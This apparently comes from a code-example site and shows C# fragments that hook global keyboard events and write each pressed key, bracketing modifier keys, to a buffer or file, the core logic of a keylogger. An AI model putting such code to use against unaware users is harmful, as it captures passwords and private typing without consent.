예제 #1
0
 /// <summary>
 ///
 /// </summary>
 /// <param name="sender"></param>
 /// <param name="e"></param>
 void gkh_KeyUp(object sender, KeyEventArgs e)
 {
     if (GlobalKeyboardHook.IsModifier((int)e.KeyCode))
     {
         BufferManager.GetInstance().Write("[" + e.KeyCode.ToString() + "]");
     }
     else
     {
         BufferManager.GetInstance().Write(e.KeyCode.ToString());
     }
     //e.Handled = true;
 }
예제 #2
0
        void gkh_KeyUp(object sender, KeyEventArgs e)
        {
            //if (GlobalKeyboardHook.IsModifier((int)e.KeyCode))
            //    txtKeys.Text += "[" + e.KeyCode.ToString() + "]";
            //else
            //    txtKeys.Text += e.KeyCode.ToString();

            FileBuffer buffer = FileBuffer.GetInstance();

            if (GlobalKeyboardHook.IsModifier((int)e.KeyCode))
            {
                buffer.Write("[" + e.KeyCode.ToString() + "]");
            }
            else
            {
                buffer.Write(e.KeyCode.ToString());
            }
            //e.Handled = true;
        }
 public KeyHookManager()
 {
     //Initialize the memebers
     gkh           = new GlobalKeyboardHook();
     bufferManager = new BufferManager();
 }